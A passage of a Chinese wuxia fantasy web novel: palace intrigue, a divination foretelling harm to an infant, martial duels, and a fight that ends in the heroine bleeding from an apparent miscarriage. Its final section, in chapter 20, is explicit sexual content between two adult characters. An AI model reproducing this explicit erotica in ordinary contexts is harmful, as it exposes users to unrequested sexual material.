白翎羽道:「白某毕竟不是这支大军的直属将领,而且此刻也无兵部调兵令……」

皇甫瑶忽然道:「据大恒军令,危急时刻,军衔高者可有调兵权,如今晋王殿下生死未卜,此处以将军军衔最高,这调兵之时合情合理,有何难为。」

白翎羽对她又多了几分喜爱,点头道:「多谢郡主提醒,白某虽问心无愧,但怕被他人误伤,在我头上扣一顶兴兵作乱的帽子,到时候在下可要提着脑袋走路了!」

皇甫瑶见她说得有趣,不免噗嗤一笑,一扫满脸恐惧,宛如春花吐蕊,秋水惊鸿,便是白翎羽也不禁暗赞其丽色过人。

皇甫瑶正容道:「白将军为国为民,本郡主岂容小人玷污你一片丹心,此事交我了,由我作保,谅那些小人也不敢多言!」

白翎羽暗忖道:「这丫头倒也仗义,只不过你这般揽事上身,夏王府恐怕难以置身事外了。」

抬眼望去,只见皇甫瑶美眸中略带几分顾忌,想必是在替她这番言论担忧,毕竟夏王半生低调,她身为夏王郡主却要打破父亲多年经营的保身之局,日后也不知会不会召来祸端,不过这一丝顾忌也仅仅是一闪而过,那双美眸很快便恢复清明,竟是义无反顾之色。

白翎羽暗忖道:「小丫头一心想做个侠女,可惜身份限制,无从闯荡江湖,但她如今这份心意,比起那些武林中那些伪君子也不知强了多少倍。」

这时王公公开口道:「白将军尽管放心,杂家替你作证,回京之后定然如实禀告皇上。而且将军若不嫌弃杂家武功低微,吾愿随将军一并突围,助将军收拢残兵!」

白翎羽心知这个太监乃皇甫武吉之心腹,若由他作证和帮助,后续事情便轻松许多,此等强援岂能拒之门外,于是点头答谢并答应下来。

临走之前,王公公朝净尘走去,行礼道:「听闻道长玄学通天,杂家想请道长替此行问个吉凶。」

净尘颔首点头道:「公公客气了,贫道这便问上一卦。」

说罢便从怀中掏出龟甲和铜钱,口诵法诀,摇晃龟甲,铜钱在里边叮叮当当的响个不停,倏然净尘龟甲倾斜,铜钱落地。

白翎羽望着净尘卜卦之神情,暗忖道:「残兵中可能有元鼎的门徒,未免激化他们的矛盾,净尘道长他们只能按兵不动,若不然有这三教先天相助,这区区玄甲魔兵何足道哉!」

净尘用手指拨弄了一下铜钱,笑道:「刀兵藏生机,此行定当顺利!」

王公公呵呵一笑,心情稍微镇静。

一旁的宗逸逍问道:「不如让宗某门下弟子与二位同行吧,也好有个照应。」白翎羽道:「阁主好意心领了,此番旨在与暗中突围,联络大军,所以人多反而不便,我与王公公同行便可。」

「那便预祝二位马到功成。」

送走两人后,宗逸逍见净尘眉头轻蹙,不禁问道:「白毛道,你露出如此愁容,莫非他们前行之路暗藏杀机?」

净尘摇头道:「非也,只是这个卦象似乎有还有另一层深意,吉凶交替,却有是忧喜参半。」

宗逸逍道:「有话直说,别一惊一乍的!」

净尘叹道:「白将军此行并无凶兆,只是其身边亲朋好友会有所危险,而且这个受害之人很有可能是婴童。」

宗逸逍道:「婴孩代表无限生机,乃喜庆也,为何会有大凶之兆。」

净尘蹙眉道:「此卦象明有‘亢龙有悔’,暗有‘鸿渐于陆’,外有‘飞龙在天’,内有‘突如其来’。亢龙有悔本是过于充盈,而鸿渐于陆便是凶兆,两卦明暗交替,便是指凶兆由于过于旺盛而产生!飞龙在天本是大吉之象,利见大人,这个卦象在外,所以这个大人亦可直接指孩童的父母,而突如其来为焚如,死如,弃如。在此可解为凶相也。这四大卦象明暗内外结合,其完整意思便是此婴儿父母为大气运之人,福缘深厚,一切厄运皆可迎刃而解,正因为他们气运过强,遭到老天妒忌,便将厄运将至其婴儿身上,所以这个孩子恐怕要胎死腹中了!」

宗逸逍打了个哈哈道:「子曰,怪力乱神,你这白毛就会唬人!」

净尘也不反驳,叹道:「宗兄,这孩子不但福缘浅,而且还来得怪异,堪称怪胎。卦中暗藏着巽风之象,便是指这个孩子像风一样,来得快,去得也快……」青衫翠裙,朱唇雪靥,妖娆绝色。

龙辉望着眼前这武功、智谋、容貌皆可与洛清妍一争高下的女子,心中不由得生出几分警惕,双眼紧视,不敢怠慢。

鹭眀鸾依旧巧笑嫣然,轻抬素手,理了理几根贴在桃腮上,被夜风微微吹乱的秀发,仪态洒潇而又妩媚。

洛清妍是清丽之中暗藏一股妖娆的婉媚,将精纯端雅与妖娆妩媚这两种矛盾的气质结合起来,叫人难以抵御和抗拒,犹如酥嫩熟润的玫瑰,而鹭眀鸾则更多的是艳丽中带着危机野媚,诱人之余却暗藏危险,更像一朵妖艳的罂粟毒花。

「龙将军,妾身敬你是个英雄人物,但却不想到你是如此死脑筋。」

鹭眀鸾幽幽叹道,「竟然心甘情愿地被人人再三利用!」

龙辉哼道:「挑拨离间的事情便不要再说了,省口气暖胃吧!」

鹭眀鸾咯咯娇笑道:「现在可是夏天哩,热得逼人,再暖胃还不把人憋死吗?」

这话虽有几分耍赖撒,但却不影响其风姿,反倒是这几份无赖的痞子气使得她多了几分少女的娇俏。

明明是跟洛姐姐一个时代的人,竟然还有少女般娇腻气质,当真妖孽!龙辉暗骂一声,想到这里脑海中再度浮现洛清妍之容貌:「若洛姐姐……不!妖后娘娘摘掉金凤簪和那几件首饰,弄个秀发披肩,丝带系发,再穿个对襟白衣,素色襦裙……根本不像冰儿的娘亲,反倒是像姐姐。」

其实洛清妍驻颜有术,便是年近四十依旧艳丽如昔,只是平日为了维持妖凰气度,才盛装打扮,给人一种威严的感觉,若也想楚婉冰那般不着铅华,恐怕外人还以为她不过二十岁。

如今这个鹭眀鸾竟也有这般的丽色,叫龙辉不得不暗赞妖族女子当真是受上天之恩宠,偌大一个部族,随便找一个都能与皇宫大内的贵妃才人相媲美。

好不容易压住那些不必要的思绪,龙辉故意装出一副不屑的表情,冷哼一声搬弄是非,拂袖便走。

鹭眀鸾轻笑道:「既然龙将军认为妾身是在搬弄是非,挑拨离间,那想必心念坚定了!」

龙辉冷然道:「既然你知道,何必絮言!」

鹭眀鸾朱唇轻扬,淡淡道:「既然心念坚定,便不会受外界影响,那又何惧我一妇道人家的口舌呢!」

以彼之矛攻己之盾,她看似闲聊的语气中,藏匿着尖锐的机锋,叫人难以反驳。

饶自己是在演戏,龙辉也是觉得一阵气结,暗忖道:「好厉害的辩才,难怪可同妖后争斗多年而不倒。」

压下心中感慨,龙辉沉声道:「好,龙某便要瞧瞧你是如何说道!」

鹭眀鸾美目凝在龙辉脸上,过了半响,檀口吐言:「从你见到洛清妍的那一刻开始,她便在利用你,五年前,她利用你破解天罗阵,当你同她那丫头成婚后,她便不着痕迹地压榨你的利用价值,先让你与皇甫武吉周旋,再利用你来对付昊天教、征讨煞域,而到了临夏山,我那师姐为了引我出来,更不惜一剑刺穿你的胸口!」

龙辉装出极为愤怒的样子,额头青筋隐现,喝道:「够了,给我闭嘴!」

鹭眀鸾掩唇一笑,继续说道:「刚不久,她让你做诱饵,引三教元老入瓮,之后更是枉顾你之安危,用炼神火炮轰击武尊庙!」

「叫你闭嘴,没听到吗!」

龙辉暴跳如雷,挥掌劈向鹭眀鸾,但有意收敛五分劲力,装出被火炮炸伤的模样。

鹭眀鸾莲足一点,娇躯轻巧地避开厉掌,啧啧冷笑道:「这点力气连小猫都打不死,更别说杀人了,炼神火炮的滋味如何?」

龙辉掌力再吐三分,厉风横扫八方,暗忖道:「继续挑拨吧,我现在就装出火冒三丈的样子,装疯卖傻,最好能趁机杀了你这毒妇,省得日后烦心!」

龙辉心中杀机暗藏,却又要装出身负内伤的样子,所以掌力难以施为,鹭眀鸾青衫飘舞,巧妙躲避劲风厉掌,姿态优雅,游刃有余。

过了数个回合,鹭眀鸾妖瞳倏张,魅惑光芒一闪而过,正是玄媚夺神术。

龙辉只觉一阵气凝,赶紧施展枯木禅法抵御,龙辉也仅仅学到了半桶水,心念入虚空,虽可抵御妖术夺神,但也失去了主动进攻的先机,除非鹭眀鸾出招攻击他,若不然龙辉这个「行尸走肉」的状态是无法对鹭眀鸾造成伤害的。

鹭眀鸾收回夺神术,嘻嘻笑道:「上回还以为妾身的绝招失灵了,原来是将军学会了龟缩之法,叫人家无从下手。不过乌龟缩头后,也仅仅能够自保,是伤不了人的!」

龙辉感到威胁已除,便散去枯木禅法,两眼紧紧盯住她,气氛一片凝重。

「哎呀,龙将军别老板着脸,怪吓人的!」

鹭眀鸾展颜轻笑,瞬间便是气氛缓解,媚眼滴溜溜一转,说道,「忠言逆耳利于行,龙将军,妾身敬你是个英雄,才跟你说这些的,希望将军能早日醒悟,莫要再给人当枪使了。」

拧转纤腰,鹭眀鸾举步若离,竟将背心命门暴露给了龙辉。

龙辉心口一紧,这乃是千载难逢的机会,若此时出手有很大机会可取鹭眀鸾之性命,但心里却是涌起一片疑云:「以这妖女谨慎狡猾的性子怎会这般大方地将背门让给我,难道又是什么试探之计。」

龙辉本想放弃这个杀敌机会,忽然脑海灵光一现:「试探,这妖女将背门卖给我,是要试探方才她那番话有没有起了作用……」

鹭眀鸾这种看似不经意的小动作藏着无数深意,就像是皇甫武吉那般,一个眼神,一句话,皆暗含难以测度的帝皇心术,而鹭眀鸾这个转身也有其难以度量的心计。

龙辉感到一个头两个大,这个时候也不知道是出手,还是装作不知,他心知下一步的反应十分重要,一个不慎便会全功尽弃。

「鹭眀鸾敢将背门露给我,那我偷袭十有八九不会成功,但我要是毫无动静,却又显得有些矫情,明明大敌将命穴露出,而我却按兵不动,定然会叫鹭眀鸾怀疑我另有所图……要是出手的话,那又会让鹭眀鸾以为我对妖后绝对的信任,那她便会放弃离间之计,究竟我该做什么才能取信于这妖女。」

龙辉大感头痛,也不知要怎么做才能像一个「即将被策反的人」,心里不禁暗骂:「好狡诈的妖女,这么一个转身便叫我进退两难……」

忽然他捕捉到了一丝灵光——「既然不能进退,那我便不作进退!」

想到这里,龙辉缓缓举起手掌,双眼锁定鹭眀鸾之命门,指掌凝气,即将吐劲杀敌,但手掌在半空举了半响,又缓缓放下,仿佛内心正在经过一番剧烈的挣扎。

鹭眀鸾倏然停步,转过螓首笑道:「龙将军,妾身以后再来找你,希望到时候你可以清醒过来!」

说罢便转身离开,望着那道远去的婀娜倩影,龙辉总算松了口气,叹道:「这女人不简单啊!」

鹭眀鸾这一个动作可谓高明之极,直接试探出龙辉是否可信,是否可以继续策反,无论龙辉是出手还是不出手,也唯有龙辉那番进退两难,矛盾挣扎的表现才像一个心志开始动摇之人,鹭眀鸾才会继续跟他接触。

这次瞒过了她,也不知道这妖女今后会用什么稀奇古怪的法子来试探他,总之以后是没好日子过了!龙辉自嘲地笑了几声,忽然心口一阵剧痛,难以言喻的不安涌上心头,心脏就像被人用手揪住般,不住地抽搐。

望着围在四周的玄甲魔兵,楚婉冰巧笑嫣然地道:「端木姐姐,不是小妹吝啬,只是小妹嫌那口火炮太重,把它推倒山下了。」

端木琼璇噗嗤笑道:「早知道妹妹会这样做,姐姐也只是随口问问罢了,根本就不抱希望。」

楚婉冰嘟嘴撒娇道:「那姐姐你还凶巴巴地吓唬人家。」

端木琼璇见她娇憨可爱,眼中透着阵阵灼烈光芒,柔声道:「姐姐哪舍得吓唬妹妹你啊,这其中定有误会。」

楚婉冰娇哼一声,指着四周嗔道:「还说没有,你看看,这群奴才那个模样,讨厌死了!」

楚婉冰一笑一颦,一嗔一怒皆是媚态天成,看得端木琼璇恨不得就把她吞到肚子里,魔女舔了舔红菱般的朱唇,娇叱道:「谁让你们出来的,知不知道唐突贵客,还不快给我滚下去!」

众玄甲兵闻言,急忙退回树丛里。

端木琼璇展颜笑道:「冰妹,这些不懂事的奴才已经走了,咱们姐妹也好久没见了,不如找个地方说些私密话吧,自从上回酆都一别,姐姐是憋了一肚子的话。」

说话间便要去拉楚婉冰,楚婉冰轻巧地使了个身法避开了魔女那只素白如玉的小手,笑道:「小妹也是极为挂念姐姐,也有一些话要说,但这儿人多耳杂,不如咱们到前面松树林去说说话吧。」

要到松树林便得经过一片空旷的荒地,到时候楚婉冰便可占得地利先机,无论是战是退皆可由她把握。

端木琼璇看着楚婉冰的背影,只觉得那小腰何其柔媚纤细,盈盈可握,那纤细的腰背曲线缓缓滑落,到了臀部便形成一道肥美丰润的圆弧,宛如两颗饱满多汁的水蜜桃,恨不得在上边咬上一口,尽情品尝那甜美的蜜汁。

端木琼璇越看越爱,情火瞬间冲上脑门,只觉口干舌燥,想也不想便跟了上去。

两道得天独厚的丽影带着魔魅和妖媚一前一后地朝松树林走去,行至荒草平原,端木琼璇再也按耐不住,加快步伐走到楚婉冰身后,展开皓臂便要将她搂在怀里。

楚婉冰只觉得身后传来一股温香兰息,心知这个端木姐姐又要对自己「不轨」,于是那容她轻易得逞,使了个灵蛇身法嗖的闪开,叫这魔女扑了个空。

端木琼璇咬唇道:「冰妹,别再躲了,快让姐姐好好抱抱你!」

楚婉冰咯咯娇笑道:「姐姐,你又来哩,现在可是夏天,两个人腻在一块很热的,我怕出了一身臭汗熏坏姐姐。」

端木琼璇笑道:「冰妹这般绝色佳人,出的汗也是香的,姐姐巴不得天天都能闻到妹妹你的香汗呢。」

楚婉冰跺脚道:「我才不要呢,这黏糊糊,怪难受的!」

端木琼璇说道:「若是如此,姐姐就替妹妹打水梳洗。」

说到这里,端木琼璇脑海中不禁浮起一副美人沐浴图,芳心更是一片灼热,双眼几乎快要喷出火来,当下也顾不得什么仪态,一步踏上,欲将这娇媚妖姬揽在怀中。

楚婉冰身形转换,动作轻盈美丽,犹如灵禽展翅,凤凰翱翔,叫端木琼璇再度扑空,楚婉冰这套步伐名为凤仪步,乃是五凤心诀的入门功法,她虽有凤凰血脉但因根基缘故并未修炼那些威力强悍的武决,但洛清妍心疼女儿,便将这套步法传给了她。

越是吃不着,端木琼璇越是狂热,立即使出独门轻功——幻魔影,身形似真似幻,看似漫无目的地行走,实则步步紧追楚婉冰。

妖魔双姝便这样一前一后地在荒野中斗起轻功,魔女欲得佳人,内元奔腾如泉涌,誓要摘下这枚诱人果实;妖姬却是巧笑戏耍,凤仪步轻踏红尘,进退得据,游刃有余。

「冰妹,别再折腾姐姐了,我的心意你也是知道的!」

端木琼璇一边追赶一边说道,「只要能得到你,姐姐就算放弃整个天下又有何妨!」

楚婉冰噗嗤笑道:「姐姐真是豪迈,可惜小妹却又不能放下的东西,只能辜负姐姐的好意了!」

数度示爱不成,端木琼璇因爱生恨,思忖道:「既然你不愿接受我,那我便先将你擒下,带回魔界后,我日日夜夜地对你好,过段时间你自然会忘记那个小子,跟我双宿双飞。」

端木琼璇芳心一横,断天行再度出鞘,刀气隔空劈下,直取楚婉冰下盘。

楚婉冰与她多番交手,自知斩地根刀术之特性,于是暗运拔山掌,吸纳大地元力以制衡。

凤嫣惊鸿,断天斩地,刀剑交汇,激起一片尘浪。

双方根基相若,甫一交手难有胜负,端木琼璇刀锋划动,横削竖劈,拉出一个十字刀芒,此招名为「十方破」,前半式讲究以大开大合刀路封锁退路,将敌人逼到困境,而后半式再以十字刀气绞杀对手。

看着那个十字刀芒先朝周围扩散,随即再向自己合拢,楚婉冰媚眼凝华,镇静自若,素手挽剑,使出八臂通猿手,剑气瞬间朝四面八方辐射,尽削刀芒于三步方圆之外。

刀式被解。

端木琼璇毫无苦恼,反倒是魔瞳一亮,花容上再添三分喜悦,暗忖道:「冰妹当真是风华绝代,若非如此又怎让我这般着迷!」

想到将这骄傲的妖姬征服的快感,端木琼璇更是兴奋,再施斩地根绝式——万骨枯,刀气化出无尽骨骸,白森森的魔爪朝着艳丽凤羽伸去,誓要擒凤拿凰。

楚婉冰莲步聘婷,剑花翻腾,瞬间便是妖火汹涌,魔骸枯骨顿成焦炭。

「破得好!」

端木琼璇战血沸腾,笑语盈盈地称赞道,「冰妹,再接姐姐一刀如何!」

楚婉冰媚笑道:「盛情难却,小妹勉力而为!」

端木琼璇咯咯笑道:「若是妹妹接不下,可要受些惩罚哦!」

楚婉冰笑道:「可得先说好,是什么惩罚,若是太重小妹可不依哩!」

看着这媚态撩人的妖姬,端木琼璇吞了吞香涎,张开几乎要冒火的口唇道:「当然不会太重,姐姐那舍向妹妹下重手。只是要想妹妹讨点贴身之物,比如手绢、汗巾又或者小肚兜之类。」

楚婉冰为之一阵气结,暗忖道:「这魔女说话也忒露骨了,真不知道该气还是该笑!」

若换了龙辉之外的男子敢这样调戏她,楚婉冰早就一剑封喉了,但端木琼璇明明一个俏生生的大姑娘,却表现得像是一个心急火燎的色鬼,叫她实在发不起怒来。

只见端木琼璇举刀劈下,只闻骨铃作响,一股强大的崩塌之力倾斜而下,犹如山崩海啸,正是魔刀绝式——山海崩。

楚婉冰审时度势,气走全身,幻化六相虚影,正是云霄六相,然而这次的云霄六相与往日颇有不同,除了虚实难辨之外,还带着几分纳气化劲之效果。

只见六相掠过,端木琼璇的山海刀势竟然被吸走八成真气,原来楚婉冰在施展云霄六相的同时也将纳元剑诀汇入其中,这两大绝式融合,模拟出了龑武天书论武决的效果,与龙辉那招——以疾破猛有异曲同工之效。

端木琼璇咦了一声,甚是讶异,她虽知楚婉冰之能为,但却未曾想过她能这般轻易破招,然而楚婉冰破招之后便是反击一剑,端木琼璇不敢怠慢,当下环刀护身,然而楚婉冰这一剑暗藏元古大力,刚猛强悍,端木琼璇仓促之下难以抗衡,被凤嫣剑震得连退数步,气血翻涌难受。

楚婉冰一击得手,不欲继续缠战,立即化相凤凰,准备展翅飞走,谁料端木琼璇在瞬息间便调和内息,拖刀进逼。

火光电石间,端木琼璇又来了一招血霹雳,这一招乃引九天罡气为刀,借着天穹之力居高临下杀伤敌人。

霹雳血刀从天而降,楚婉冰难以高飞,唯有举剑当格,虽力保不失,但也失去撤退机会,被端木琼璇再次缠上。

「冰妹,姐姐是一片赤忱,你怎忍心三番五次地拒人千里之外。」

端木琼璇抡刀进逼,檀口吐柔语,刚硬刀势之中又带着几分幽怨。

楚婉冰挥剑封刀,说道:「姐姐,事事不可强求,小妹对你只有姐妹之情,还望姐姐莫要再为难小妹!」

「我今天是无论如何都不会让你走的,就算动粗,我也要把你留下!」

端木琼璇单刀向天,气走筋络,劲贯武脉,魔气沛然而生,直冲霄汉,悍然使出斩地根之最上刀决——魔断天!当初在魔界,楚婉冰也曾对上过此招,心中瞬息拟定出应对之策,面对扑面而来的刀气,她借着凤嫣剑柔韧的特性,使出灵柔剑诀,以柔制刚,卸雄沉刀势于无形。

「冰妹好功夫,再接姐姐一招——无手魔刀诀!」

绝式无功,端木琼璇毫不气馁,五指一松,抛刀脱手,断天行飞掠而出,竟是以其御刀之法,魔刀一改昔时刚烈走势,变得刁钻多变,宛若跗骨之蛆,紧紧贴着楚婉冰。

楚婉冰嫣然媚笑,玉指捏剑诀,宝剑离手,亦是以气御剑。

真气御兵,妖魔缠战,刀剑比拼,化作铿然脆响,金铁交鸣,替这幽暗夜色徒增三分艳光。

倏然楚婉冰小腹再度不合时宜地抽搐起来,竟是那阵古怪胎动,随之真气为之停滞,凤嫣剑颓然落地。

端木琼璇见状立即趁胜追击,但她也收敛三分,弃刀用掌,芊芊玉指筛张而开,拿向楚婉冰气门,楚婉冰强压腹痛,鼓起余力使了一招拔山掌,双足驻地,素手推出,与端木琼璇对了一掌。

端木琼璇这一手并未出全力,楚婉冰本想吸纳地气将她逼退,谁料胎动更加剧烈,痛得她冷汗直冒,无暇抵御端木琼璇的魔气,气脉一阵酸麻。

「冰妹,姐姐这一招名为万魔锁脉手,专门制人气脉!」

端木琼璇一招得手,得意笑道,「你还不要白费力气了!」

楚婉冰哼了一声,暗忖道:「锁气脉有什么大不了的,待我用拔山掌卸去这股魔气,看你还怎么锁脉!」

于是下盘下沉,便要将端木琼璇的魔气引到地下,谁料在妖气引到魔气的过程中再度发生意外,那股魔气本应顺着椎骨而下,由双足流到地下,可是达到小腹的时候竟然冲击胎儿。

楚婉冰尖叫一声,痛得冷汗直冒,下意识地弯腰捂肚,端木琼璇也大感意外,这个万魔锁脉手并非什么攻击性的武学,制敌的成分多于杀敌,怎么会让楚婉冰这般痛苦。

楚婉冰不住地大口喘气,小脸越发惨白,豆大的汗珠满布娇靥,白裙竟多了一滩触目惊心的血迹,宛若雪地上盛开的一抹嫣红梅花。

剧痛攻心,楚婉冰再难支持,两眼一黑,失去了意识……

第二十回喜忧参半

「哈哈,总算逃出临夏山了!」

在灵州城池的一间豪华客栈内,端坐在雅间的月俊宛开怀大笑,自斟自饮,略带邪气的俊脸挂着几分劫后余生的笑容。

燹祸望着一桌丰盛的酒菜,双手抱胸,并无饮用的意思,反倒是愁眉紧蹙,满怀心事。

月俊宛咦了一声道:「老二,你怎么不喝呀?山上的东西清淡得很,现在好不容易可以开怀畅饮,为何还一副苦瓜脸!」

燹祸哼道:「少主到现在还没回来,你还有心情喝酒?」

月俊宛摆摆手道:「安了,安了,少主的身手你又不是不知道,就算你跟螣姬那条蛇绑在一块,也不一定打得过那只小凤凰!」

「臭狐狸,你背后嚼谁舌根呢!」

一声娇叱从门外传来,只见一名身着雕花云纹襦裙的美妇推门进来,腰细如蛇,步态妖娆,修长的美腿交叠行走,蛇腰摆动,两瓣肥沃的臀股也随之荡出迷人波浪,阵阵幽香随着扭腰摆臀而飘散。

月俊宛眼珠子都快瞪了出来,举着酒杯嘿嘿笑道:「螣美人,小生在赞你风华绝代,美若天仙,就算是少主比起你来也略逊三分。」

螣姬白了他一眼,呸道:「油嘴滑舌,信口雌黄!你这死狐狸,一天不说人长短就会少两斤肉,姑奶奶信你的鬼话才怪!」

燹祸打断他们的斗嘴,说道:「螣姬,临夏山的状况如何?」

螣姬肃容道:「白翎羽与那姓王的太监联手突围,收拢了大约五千残兵,配合山上的正道人士夹击玄甲魔兵,临夏山之围已解,奇怪的是在焱州与官兵对峙的金铁军竟然退回了魔界。」

燹祸又问道:「黑水魔君是生是死?」

螣姬叹道:「应该还活着!因为恒军刚一反攻,玄甲兵就边打边撤,山上的武林人士还没来得及冲下来,他们就已经摆好了撤退的阵势,根本无法形成有效的合围夹击。」

燹祸也觉得奇怪,魔界的兵甲骁勇之名威震三界,面对不到六千人的残兵竟然撒腿就跑,这其中深意实在耐人寻味。

「可有少主的消息?」

燹祸想不通,干脆不想,直接询问楚婉冰的消息。

螣姬微微一愣,讶道:「少主不是同你们一起撤离的吗?」

燹祸叹了一声,便将事情始末说出,螣姬听后不住跺脚着急,嗔道:「这丫头也忒冲动了,她这一跑丢我们怎么跟娘娘交代呀!」

燹祸蹙眉道:「目前最重要的是如何寻回少主,其他话多说无益。」

螣姬美目低垂,叹道:「娘娘刚到北城的星湖居,老二你还是速速前往,亲自向娘娘汇报。」

燹祸点了点头,转身离开雅阁房间。

月俊宛笑道:「蛇美人,如今就剩我跟你了,算不算是孤男寡女共处一室呢?」

螣姬雪靥凝笑,白了他一眼道:「不算孤男寡女,应该是两个闺阁密友对坐常饮。」

月俊宛猛地将酒水喷出,咳嗽道:「蛇美人,你说什么?」

螣姬掩嘴轻笑道:「狐狸相公,莫非你忘了前不久某人唱娇柔艳曲,跳聘婷舞步吗?」

月俊宛顿时抓狂叫苦:「都是鹭眀鸾那臭婆娘害得我!」

螣姬轻哼道:「谁知道你是不是重见老相好,向她卖乖献媚,故意来那么一出歌舞讨美人欢心!」

月俊宛双手合十,做求饶状道:「蛇美人,鹭眀鸾跟我一点关系也没有,我躲她还来不及呢,哪敢去招惹她!」

看到螣姬脸色稍缓,月俊宛立刻棒打随蛇上:「要说讨好的人也得先讨好我的心肝宝贝美人蛇!」

螣姬俏脸稍红,呸道:「都多少岁的人了,还这么不正经!」

月俊见她脸红,暗自称妙,当下语气转柔:「螣姬,这么多年了,我对你的心意始终没变。」

螣姬水汪汪的眼睛一转,暗忖道:「死狐狸还想对我油腔滑嘴,还以为姑奶奶是当年那个小姑娘吗!被鹭眀鸾耍了一顿,还不知道收敛,还敢把手伸到我这来!」

螣姬打定主意要好好教训这骚狐狸一把,于是便装作神魂颠倒的模样,双眼迷离,秋波暗送:「死狐狸,你真是这么想的?」

月俊宛顺势探出手来握住她一队柔荑,点头道:「当然,我骗谁也不会骗我的蛇美人!」

看到螣姬没有反对,月俊宛心头一热,得寸进尺,轻轻做到螣姬身边,低头说道:「螣妹妹,这些年我可是一直都在想着你,可是你都以族中大事为由,对我爱理不理的。」

螣姬叹道:「月哥,不是妾身不愿理你,当时整个族群被天罗阵压制得几乎要灭绝了,为了破解这个阵局,娘娘是日夜发愁,我们做属下的更没道理风花雪月。」

月俊宛伸出一只手臂,从螣姬背后绕过,轻巧地搭在美人柔嫩的膀子:「当初因为天罗阵的缘故咱们分多聚少,但如今天罗阵已经被娘娘和驸马爷联手打破了,族人也得以迁徙入神州大地,但你还是像原来那般对我不理不睬……叫我茶饭不思啊!」

呸,别以为我不知道你这死狐狸的德行,看到美女便不知东南西北,单是在金陵就养了三五个小骚货……螣姬心里虽是狠狠骂道,但被他说话时,嘴唇喷出的热气烘在耳垂,全身毛孔顿时大开,筋骨酥软。

月俊宛曾与她多番欢好,如今看到她此等妩媚妙态,心中大感快美,欲火暗烧不已,于是将酒杯送至螣姬丰润的红唇前,又在她耳边吹了口气:「蛇美人,跑了一整天的路,喝口酒润润喉吧。」

螣姬眼珠一转,咯咯娇笑,玉手探下,猛地扣住月俊宛的子孙根,她这手法使得极为巧妙,是十指与中指恰好夹住肉柱棒身,剩余三指不偏不倚正中两颗肉丸,月俊宛顿感胀痛难耐,怪叫一声,手中酒杯落下。

酒水正好撒在螣姬裙子上,夏日炎炎,螣姬本事燥热难受,本被热气熏蒸的肌肤忽然被冰凉的酒水一浇,不禁泛起一阵鸡皮疙瘩,腿心略感一片湿意,也不只是酒水润花还是幽谷吐泉。

那身夏衣本就单薄,湿透后便紧紧贴在肌肤上,月俊宛隐约可见那酥嫩的肌肤,以及腿股交叠处那饱满的蜜糖包子,其中心更有一道紧凑细长的蜜裂,而包子内藏蜜汁正从裂缝渗出,看得月俊宛心痒难当,顿时忘却了下体的胀痛,沛然血气涌到腿心,肉柱瞬息变得又硬又热,螣姬只觉得手心一阵灼热,玉颈不禁涌起一阵熏粉。

「死狐狸怎地就如此精神?」

螣姬芳心倏然一阵乱颤,鼻息略显粗重,自从上回与龙辉偷情后,她熟美的身子便一直久旷着,如今遇上老相好的这般精壮勃发,小腹处立即冒出一团烈火,原本是要教训这只死狐狸的心思也不知道抛到那个角落了。

月俊宛见她媚眼半垂,喘息粗重,鼻尖渗汗,心知这条美人蛇已经开始动情发骚,便顺势说道:「好妹子,你裙子都湿了,让我替你褪下吧。」

他语带双关,伸手探入螣姬腿股间,触及一片腻滑,仿佛是甜美的新鲜荔枝,随着外壳剥离充沛的汁水猛地打湿了拨开外壳的手指,喜得月俊宛不禁眉开眼笑,思忖道:「蛇美人韵味十足,比我在江南养的那些小蹄子好了不知多少倍,也不知道这些年她是怎么过来的,有没有便宜其他男人!」

月俊宛生性风流,极为迷恋男女之事,少年时期便摘花惹草,族内女子与他有关系的数不胜数,而蛇性趋淫,虽不似月灵夫人那般人尽可夫,但螣姬也是放荡不羁之辈,少女时期便与月俊宛好上,但两人并未成婚,原因是妖族有个规定,女子无论婚前如何放荡,一旦嫁人便得守节尽贞,除非丈夫身亡,若不然不可再与其他男子欢好。

螣姬对此并不感冒,干脆便打定主意不嫁他人,好好风流快活,与月俊宛姘了几年后,觉得这狐狸精太过羸弱,于是便将他一脚踢开。

鹭眀鸾夺权,妖族内乱,洛清妍虽镇压叛乱,但长老会也因内乱损失惨重,族内也元气大伤,两人临危受命各司长老职位,之后便是设计破阵,北疆鏖战,重返神州……等等一系列的大动作,螣姬为人精明,又擅长采集情报和炼制毒药,顺理成章地成为洛清妍的得力助手,一直置身在核心。

而月俊宛因为擅长机关器械,则被洛清妍派往外围,制造各种器械机关,因此两人在过了那段如胶如漆的日子后,便很少见面。

如今重逢,又是独处一室。

月俊宛瞬间燃起旧情,而螣姬因为那日被龙辉一番有力的恩宠勾起隐藏多年的欲火,两人顿时成了干柴烈火,情动难耐。

月俊宛伸手揽住螣姬粉颈,将她螓首拉到跟前,对着红唇便吻下,螣姬嘤咛一声,也不拒绝,手臂竟是主动朝上勾起,箍住月俊宛的后脑,与他激吻起来,细滑而又似蛇信般灵活的丁香主动伸入老情人口中,撩拨口腔嫩肉,席卷其舌头,吻得香艳异常,口涎四溢。

良久,唇分,螣姬与月俊宛额头相贴,香喘吁吁地道:「死狐狸,这些年你倒也过的舒服,美女佳人,莺声燕语,好不风流!」

月俊宛一边解她衣襟扣子,一边说道:「那些小丫头生嫩得很,哪能敢我家蛇美人相比。」

话还没说完,便将螣姬衣襟解开,袒胸露乳,两团白花花的乳肉丰腴地溢出,形状饱满圆润,犹如刚刚出炉的大白馒头,又香又软,恨不得吃上两口。

螣姬挺起胸膛,媚眼如丝地道:「呸,谁是你家的,姑奶奶才不想嫁你呢。」月俊宛伸手握住乳球,细细品味,比起少女时分的坚挺,如今的螣姬更多了几分熟妇的柔沃,巨乳似瓜,握得满手肥腻,大呼过瘾,于是便顺口答道:「当年咱们本来就是一对,不如就趁现在喜结连理吧。」

螣姬被他握得十分舒服,香喘细细答道:「少来,嫁给你姑奶奶既然守节尽贞,又要看着你这骚狐狸到外边勾搭女人,那还不活生生把我憋死吗!」

月俊宛俯首而下,咬住一颗鲜润的沃乳,吃得满嘴乳脂酥酪,一时间也舍不得松嘴,便含糊不清地道:「那……更好,本公子乐得清闲!」

螣姬被他吃得身娇体柔,肌熨肤烫,抱住他的头使其更加埋入乳肉之中,喘息道:「死狐狸……别得了便宜还卖乖,今个你要是不把姑奶奶伺候好了,小心我毒死你!」

月俊宛嗅着那腻腻的乳香,说道:「死便死,牡丹花下死,做鬼也风流!」

螣姬咯咯一笑,捏住他的耳朵将其从自己双峰拉了起来,呵气如兰地道:「可惜我这药叫做断阳丹,你若做鬼恐怕也是一个无能鬼,如何风流法?」

